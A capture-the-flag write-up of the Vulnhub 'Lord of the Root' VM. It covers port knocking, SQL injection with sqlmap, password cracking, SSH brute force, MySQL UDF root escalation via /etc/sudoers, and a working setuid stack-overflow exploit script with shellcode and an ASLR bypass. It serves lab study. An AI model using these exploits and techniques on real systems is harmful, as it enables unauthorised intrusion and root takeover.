Lord of the Root
The vm author's introduction
Reconnaissance & Access gained
Escalation path 1
Escalation path 2

Lord of the Root



Here follow my notes trying to break into this boot2root VM hosted on Vulnhub.

The VM author's introduction



I created this machine to help others learn some basic CTF hacking strategies and some tools. I aimed this machine to be very similar in difficulty to those I was breaking on the OSCP.

This is a boot-to-root machine will not require any guest interaction.

There are two designed methods for privilege escalation.

23/09/2015 == v1.0.1
22/09/2015 == v1.0

Reconnaissance & Access gained



# ssh lordoftheroot


                                                  .____    _____________________________
                                                  |    |   \_____  \__    ___/\______   \
                                                  |    |    /   |   \|    |    |       _/
                                                  |    |___/    |    \    |    |    |   \
                                                  |_______ \_______  /____|    |____|_  /
                                                          \/       \/                 \/
 ____  __.                     __     ___________      .__                   .___ ___________      ___________       __
|    |/ _| ____   ____   ____ |  | __ \_   _____/______|__| ____   ____    __| _/ \__    ___/___   \_   _____/ _____/  |_  ___________
|      <  /    \ /  _ \_/ ___\|  |/ /  |    __) \_  __ \  |/ __ \ /    \  / __ |    |    | /  _ \   |    __)_ /    \   __\/ __ \_  __ \
|    |  \|   |  (  <_> )  \___|    <   |     \   |  | \/  \  ___/|   |  \/ /_/ |    |    |(  <_> )  |        \   |  \  | \  ___/|  | \/
|____|__ \___|  /\____/ \___  >__|_ \  \___  /   |__|  |__|\___  >___|  /\____ |    |____| \____/  /_______  /___|  /__|  \___  >__|
        \/    \/            \/     \/      \/                  \/     \/      \/                           \/     \/          \/
Easy as 1,2,3
[email protected]'s password:


Which says "LOTR Knock Friend to enter" if your text has become garbled.

Nmap didn't initially find any open ports except for 22. So the clue must be in the banners.

Knock huh? 1,2,3? I tried port knocking with nc as "nc -zvvw 1 lordoftheroot 1 2 3" which had worked on the acid reloaded VM but this didn't seem to open any new ports on this machine. Giving it a few tries with nmap though did the trick:

# nmap -r -p 1,2,3 lordoftheroot
#
nmap -sV -p 1336-1338 lordoftheroot
Starting
Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-29 09:34 EDT
Nmap scan report for lordoftheroot (10.0.5.142)
Host is up (0.00059s latency).
PORT STATE SERVICE VERSION
1336/
tcp filtered ischat
1337/
tcp open http Apache httpd 2.4.7 ((Ubuntu))
1338/
tcp filtered unknown
MAC Address: 00:0C:29:5C:91:
B0 (VMware)

We'll go straight to using our default http discovery tools, since the main index page only shows a lame lotr meme picture without clues in the html. Nikto soon found an "images" directory:

http://lordoftheroot:1337/images/ shows:
Index of /images
[ICO] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[IMG] hipster.jpg 2015-09-17 16:23 71K
[IMG] iwilldoit.jpg 2015-09-17 16:25 36K
[IMG] legolas.jpg 2015-09-17 16:26 175K
Apache/2.4.7 (Ubuntu) Server at lordoftheroot Port 1337

None of the images reveal anything useful though with exiftool.

Wfuzz however finds a page called /404.html which contains:

<html>
<img src="/images/hipster.jpg" align="middle">
<!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>
</html>

The comment resembles base64, let's check shall we:

# echo THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh | base64 -d
Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!
# echo Lzk3ODM0NTIxMC9pbmRleC5waHA= | base64 -d
/978345210/index.php

That script contains a form that sqlmap finds has a password field vulnerable to sql injection. Passwords retrieved from db are:

[18:41:06] [INFO] fetching number of password hashes for user 'root'
[18:41:06] [INFO] retrieved: 1
[18:41:07] [INFO] fetching password hashes for user 'root'
[18:41:07] [INFO] retrieved: *4DD56158ACDBA81BFE3FF9D3D7375231596CE10F
# hashcat -m 300 mysql-hashes.txt /usr/share/wordlists/rockyou.txt
...
4dd56158acdba81bfe3ff9d3d7375231596ce10f:darkshadow

Great, so now we have the mysql root password, which we'll use later on.

Webapp database contains one table:

Database: Webapp
Table: Users
[5 entries]
+----+----------+------------------+
| id | username | password         |
+----+----------+------------------+
| 1  | frodo    | iwilltakethering |
| 2  | smeagol  | MyPreciousR00t   |
| 3  | aragorn  | AndMySword       |
| 4  | legolas  | AndMyBow         |
| 5  | gimli    | AndMyAxe         |
+----+----------+------------------+


Using these details to login just gives a lame picture of legolas at http://lordoftheroot:1337/978345210/profile.php, the one we saw previously already. Nothing else of interest here then and no further hints in the html or anything.

I squirreled all the usernames and passwords into wordlist.txt. Patator, now it's your turn :)

# patator ssh_login -t 10 host=lordoftheroot port=22 user=FILE0 password=FILE1 0=./wordlist.txt 1=./wordlist.txt -x ignore:mesg='Authentication failed.'


05:35:41 patator INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2015-09-29 05:35 EDT
05:35:41 patator INFO - Progress: 0% (0/1) | Speed: 10 r/s | ETC: 05:35:41 (00:00:00 remaining)
05:35:41 patator INFO -
05:35:41 patator INFO - code size | candidate | num | mesg
05:35:41 patator INFO - ----------------------------------------------------------------------
05:35:43 patator INFO - Progress: 0% (0/361) | Speed: 10 r/s | ETC: 05:36:19 (00:00:36 remaining)
05:37:12 patator INFO - 0 41 | smeagol:MyPreciousR00t

And yes, we've got the password of Gollum :)

# ssh [email protected]  
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.19.0-25-generic i686)

 * Documentation:  https://help.ubuntu.com/

                            .____    _____________________________                              
                            |    |   \_____  \__    ___/\______   \                             
                            |    |    /   |   \|    |    |       _/                             
                            |    |___/    |    \    |    |    |   \                             
                            |_______ \_______  /____|    |____|_  /                             
                                    \/       \/                 \/                              
 __      __       .__                                ___________      .__                   .___
/  \    /  \ ____ |  |   ____  ____   _____   ____   \_   _____/______|__| ____   ____    __| _/
\   \/\/   // __ \|  | _/ ___\/  _ \ /     \_/ __ \   |    __) \_  __ \  |/ __ \ /    \  / __ | 
 \        /\  ___/|  |_\  \__(  <_> )  Y Y  \  ___/   |     \   |  | \/  \  ___/|   |  \/ /_/ | 
  \__/\  /  \___  >____/\___  >____/|__|_|  /\___  >  \___  /   |__|  |__|\___  >___|  /\____ | 
       \/       \/          \/            \/     \/       \/                  \/     \/      \/ 
Last login: Tue Sep 22 12:59:38 2015 from 192.168.55.135
[email protected]:~$


Escalation path 1



Running some enumeration commands and scripts I find these weird files left behind from my sqlmap attempts at getting a shell:

[email protected]:~$ ls -la /var/www/
total 28
drwxr-xr-x 4 root root 4096 Sep 28 07:05 .
drwxr-xr-x 14 root root 4096 Sep 17 15:58 ..
-rw-r--r-- 1 root root 116 Sep 17 21:47 404.html
drwxr-xr-x 2 root root 4096 Sep 17 21:49 978345210
drwxr-xr-x 2 root root 4096 Sep 28 06:58 images
-rw-r--r-- 1 root root 64 Sep 17 21:47 index.html
-rw-rw-rw- 1 root root 5 Sep 29 05:06 tmpugwiz.php
-rw-rw-rw- 1 root root 0 Sep 28 07:05 tmpungyb.php
-rw-rw-rw- 1 root root 0 Sep 28 06:57 tmpuqoif.php
-rw-rw-rw- 1 root root 0 Sep 28 06:55 tmpuutpc.php

Wait...that ain't right is it? Does mysql run as user root??! It usually runs as a harmless user mysql or some such. Interesting....

[email protected]:~/enum$ ps -ef | grep mysqld
root 1177 1 0 03:03 ? 00:00:22 /
usr/sbin/mysqld

Well, mysql is definitely running as root, so let's try some things with that:
mysql -uroot -p
[email protected]:/var/www$ mysql -uroot -p

Initially I tried to do silly things such as:

mysql> select "* * * * * root /bin/touch /tmp/iamroot3" into outfile "/etc/cron.d/touchtest";

I was user root after wasn't I? Turns out mysql is persistant in writing the files out with 0666 permissions and cron is not foolish enough to execute world writable files:

Sep 29 08:05:01 LordOfTheRoot cron[998]: (*system*echotest) INSECURE MODE (group/other writable) (/etc/cron.d/echotest)

Needless to say, this was a dead end. Some further research revealed why you shouldn't run mysql as root, as it makes it vulnerable with something called User Defined Functions, read this for some details:
http://www.0xdeadbeef.info/exploits/raptor_udf2.c

It basically let's you create custom functions. A neat trick loads your compiled library in a dummy table and dumps it in the /usr/lib/mysql directory or wherever it needs to go:

[email protected]:~$ gcc -g -c raptor_udf2.c
[email protected]:~$
gcc -g -shared -o raptor_udf2.so raptor_udf2.o -lc
[email protected]:~$ ls -la /home/
smeagol/raptor_udf2.*
-
rw-r--r-- 1 smeagol smeagol 3178 Sep 29 06:02 /home/smeagol/raptor_udf2.c
-
rw-rw-r-- 1 smeagol smeagol 3200 Sep 29 06:02 /home/smeagol/raptor_udf2.o
-
rwxrwxr-x 1 smeagol smeagol 8426 Sep 29 06:03 /home/smeagol/raptor_udf2.so

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker
startup with -A

Database changed
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.00 sec)
mysql> insert into foo values(load_file('/home/smeagol/raptor_udf2.so'));
Query OK, 1 row affected (0.16 sec)
mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
Query OK, 1 row affected (0.00 sec)

mysql> create function do_system returns integer soname 'raptor_udf2.so';
ERROR 1126 (
HY000): Can't open shared library 'raptor_udf2.so' (errno: 0 /usr/lib/mysql/plugin/raptor_udf2.so: cannot open shared object file: No such file or directory)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.00 sec)

mysql> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.01 sec)

mysql> select * from mysql.func;
+-----------+-----+----------------+----------+
| name |
ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 |
raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)

mysql> select do_system('id > /tmp/out;');
+-----------------------------+
| do_system('id > /
tmp/out;') |
+-----------------------------+
| 0 |
+-----------------------------+
1 row in set (0.04 sec)

mysql> select do_system('id > /tmp/out; chmod 777 /tmp/out');
+------------------------------------------------+
| do_system('id > /
tmp/out; chmod 777 /tmp/out') |
+------------------------------------------------+
| 0 |
+------------------------------------------------+
1 row in set (0.06 sec)

[email protected]:~$ cat /
tmp/out
uid=0(root) gid=0(root) groups=0(root)
mysql> select do_system('echo "smeagol ALL =(ALL) NOPASSWD: ALL" >> /etc/sudoers');+-------------------------------------------------------------------------+
| do_system('echo "
smeagol ALL =(ALL) NOPASSWD: ALL" >> /etc/sudoers') |
+-------------------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------------------+
1 row in set (0.02 sec)

[email protected]:~$
sudo bash
[email protected]:~#
[email protected]:~#
cd /root/
[email protected]:/root# ls -la
total 68
drwx------ 2 root root 4096 Sep 22 13:01 .
drwxr-xr-x 23 root root 4096 Sep 22 13:01 ..
-
rw------- 1 root root 120 Sep 23 09:43 .bash_history
-
rw-r--r-- 1 root root 3106 Feb 19 2014 .bashrc
-
rwsr-xr-x 1 root root 5150 Sep 22 13:01 buf
-
rw-r----- 1 root root 240 Sep 17 23:07 buf.c
-
rw-r--r-- 1 root root 121 Sep 18 17:07 Flag.txt
-
rw------- 1 root root 830 Sep 17 22:04 .mysql_history
-
rwsr-xr-x 1 root root 7370 Sep 17 23:08 other
-
rw-r----- 1 root root 288 Sep 17 22:53 other.c
-
rw-r--r-- 1 root root 140 Feb 19 2014 .profile
-
rw-r--r-- 1 root root 66 Sep 18 04:40 .selected_editor
-
rwxr----- 1 root root 426 Sep 22 13:06 switcher.py
-
rw------- 1 root root 4111 Sep 21 12:22 .viminfo
[email protected]:[email protected]:/root# cat Flag.
txt
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
Gandalf

Escalation path 2



My previous enumeration also discovered some weird files in /SECRET. Let's have a look at what's going on there then shall we?

[email protected]:~$ cd /SECRET/
[email protected]:/SECRET$ find . -ls
49155 4 drwxr-xr-x 5 root root 4096 Sep 22 13:01 .
42376 4 drwxr-xr-x 2 root root 4096 Sep 29 06:21 ./door2
47110 8 -rwsr-xr-x 1 root root 7370 Sep 17 23:08 ./door2/file
6429 4 drwxr-xr-x 2 root root 4096 Sep 29 06:21 ./door1
47111 8 -rwsr-xr-x 1 root root 5150 Sep 22 13:01 ./door1/file
46508 4 drwxr-xr-x 2 root root 4096 Sep 29 06:21 ./door3
47109 8 -rwsr-xr-x 1 root root 7370 Sep 17 23:08 ./door3/file

[email protected]:/SECRET$ for i in 1 2 3; do echo $i; ./door$i/file $(python -c 'print "A"*1024'); done
1
Segmentation fault (core dumped)
2
3

A setuid binary that coredumps on a long argument, where have I seen this before? ;)

[email protected]:/SECRET$ bash ~/checksec.sh --file door1/file
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH door1/file
[email protected]:/SECRET$ bash ~/checksec.sh --file door2/file
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH door2/file
[email protected]:/SECRET$ bash ~/checksec.sh --file door3/file
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH door3/file

[email protected]:/SECRET$ sysctl -a | grep rand
...
kernel.randomize_va_space = 2
...
[email protected]:/SECRET$ ldd door1/file
linux-gate.so.1 => (0xb7702000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb753b000)
/lib/ld-linux.so.2 (0xb7704000)
[email protected]:/SECRET$ ldd door1/file
linux-gate.so.1 => (0xb776d000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75a6000)
/lib/ld-linux.so.2 (0xb776f000)
[email protected]:/SECRET$ ldd door1/file
linux-gate.so.1 => (0xb77d2000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb760b000)
/lib/ld-linux.so.2 (0xb77d4000)
[email protected]:/SECRET$ uname -a
Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux
[email protected]:/SECRET$ uname -m
i686
[email protected]:/SECRET$ ulimit -s
8192

ASLR is turned on, hence it's randomizing the library locations. Since we're on i686 and not on 64 bit we can "fix" this security protection by setting ulimit to unlimited, et voila, the libraries are pinned at fixed positions.

[email protected]:/SECRET$ ulimit -s unlimited
[email protected]:/SECRET$ ldd door1/file
linux-gate.so.1 => (0x40024000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x4003d000)
/lib/ld-linux.so.2 (0x40000000)
[email protected]:/SECRET$ ldd door1/file
linux-gate.so.1 => (0x40024000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x4003d000)
/lib/ld-linux.so.2 (0x40000000)

Now on the investigating how to crash this neat setuid file. I must say, I really like peda :)

[email protected]:~$ gdb /SECRET/door2/file
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /SECRET/door2/file...(no debugging symbols found)...done.
gdb-peda$ pattern_arg 1024
Set 1 arguments to program
gdb-peda$ run
Starting program: /SECRET/door1/file 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsnAsSAsoAsTAspAsUAsqAsVAsrAsWAssAsXAstAsYAsuAsZAsvAswAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABnABSABoABTABpABUABqABVABrABWABsABXABtABYABuABZABvABwABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$nA$SA$oA$TA$pA$UA$qA$VA$rA$WA$sA$XA$tA$YA$uA$ZA$v'

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x401e6000 --> 0x1a9da8
ECX: 0xbfef18c0 ("uA$ZA$v")
EDX: 0xbfef011a ("uA$ZA$v")
ESI: 0x0
EDI: 0x0
EBP: 0x41415641 ('AVAA')
ESP: 0xbfeefdd0 ("AAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%"...)
EIP: 0x57414172 --> 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5741416c: add BYTE PTR [eax],al
0x5741416e: add BYTE PTR [eax],al
0x57414170: add BYTE PTR [eax],al
=> 0x57414172: add BYTE PTR [eax],al
0x57414174: add BYTE PTR [eax],al
0x57414176: add BYTE PTR [eax],al
0x57414178: add BYTE PTR [eax],al
0x5741417a: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbfeefdd0 ("AAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%"...)
...
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x57414172 in ?? ()
gdb-peda$ pattern_search
Registers contain pattern buffer:
EIP+0 found at offset: 171
EBP+0 found at offset: 167
Registers point to pattern buffer:
[ESP] --> offset 4 - size ~203
[ECX] --> offset 1017 - size ~7
[EDX] --> offset 1017 - size ~7

What we could use from that is:

[ESP] --> offset 4 - size ~203

Now to find a jmp call to esp:

gdb-peda$ jmpcall esp
Not found
gdb-peda$ jmpcall esp libc
0x4003ea85 :
jmp esp
...

So it seems my payload should look like:
<4 chars><shellcode><complete with chars to position 171><0x4003ea85 (jmp to $esp)><"A"*1024 to trip BOF>

This turned out not to work initially. Setting the jmp command to 0xdeadbeef (who doesn't like mixed grills??) turns up the following (I had now placed Bs in front of the pointer and As afterwards):

gdb-peda$ run $(python sploit.py)
Starting program: /SECRET/door1/file $(python sploit.py)

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x401e6000 --> 0x1a9da8
ECX: 0xbfbf18c0 ("AAAAAAA")
EDX: 0xbfbefab9 ("AAAAAAA")
ESI: 0x0
EDI: 0x0
EBP: 0x42424242 ('BBBB')
ESP: 0xbfbef6c0 ('A' <repeats 200 times>...)
EIP: 0xdeadbeef
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0xbfbef6c0 ('A' <repeats 200 times>...)
0004| 0xbfbef6c4 ('A' <repeats 200 times>...)
0008| 0xbfbef6c8 ('A' <repeats 200 times>...)
0012| 0xbfbef6cc ('A' <repeats 200 times>...)
0016| 0xbfbef6d0 ('A' <repeats 200 times>...)
0020| 0xbfbef6d4 ('A' <repeats 200 times>...)
0024| 0xbfbef6d8 ('A' <repeats 200 times>...)
0028| 0xbfbef6dc ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xdeadbeef in ?? ()

Although it seemed initially that $esp was pointed at byte 4 of the long string this appeared no longer the case when actually running the exploit. After experimenting with the jmp esp in libc and a pattern after the jump the esp register now seemed to be pointed straight after the EIP pointer we placed at offset 171. The shellcode could therefore simply be placed straight after it. Here's the final script that executed the exploit:

#!/usr/bin/python
import struct

def p(x):
  return struct.pack("<L", x)

payload = ""

payload += "B"*171
payload += p(0x4003ea85)
#payload += p(0xdeadbeef)
#http://shell-storm.org/shellcode/files/shellcode-811.php - 28 bytes
payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload += "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsnAsSAsoAsTAspAsUAsqAsVAsrAsWAssAsXAstAsYAsuAsZAsvAswAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABnABSABoABTABpABUABqABVABrABWABsABXABtABYABuABZABvABwABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$nA$SA$oA$TA$pA$UA$qA$VA$rA$WA$sA$XA$tA$YA$uA$ZA$v"
# exit program
print payload


Since a setuid binary will only set the euid and not the actual uid we prepare a simple c wrapper for that:

// seteuid.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
setreuid(geteuid(), geteuid());
setregid(geteuid(), geteuid());

execv("/bin/dash", argv);
return 0;
}


[email protected]:~$ gcc -o setuid setuid.c
[email protected]:~$ /SECRET/door2/file $(python sploit.py)
(Failed as some silly script keeps switching the files around :-/ )
[email protected]:~$ ls -la /SECRET/door?/*
-rwsr-xr-x 1 root root 5150 Sep 22 13:01 /SECRET/door1/file
-rwsr-xr-x 1 root root 7370 Sep 17 23:08 /SECRET/door2/file
-rwsr-xr-x 1 root root 7370 Sep 17 23:08 /SECRET/door3/file
[email protected]:~$ /SECRET/door1/file $(python sploit.py)
# id
uid=1000(smeagol) gid=1000(smeagol) euid=0(root) groups=0(root),1000(smeagol)
# ./setuid
# id
uid=0(root) gid=0(root) groups=0(root),1000(smeagol)
# cat /root/Flag.txt
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf

I win (twice) :D

Thanks to Vulnhub for hosting this great stuff and the author for creating this VM :)

By mr.T_cpdump (Erik Taal) <[email protected]>
2015 (c)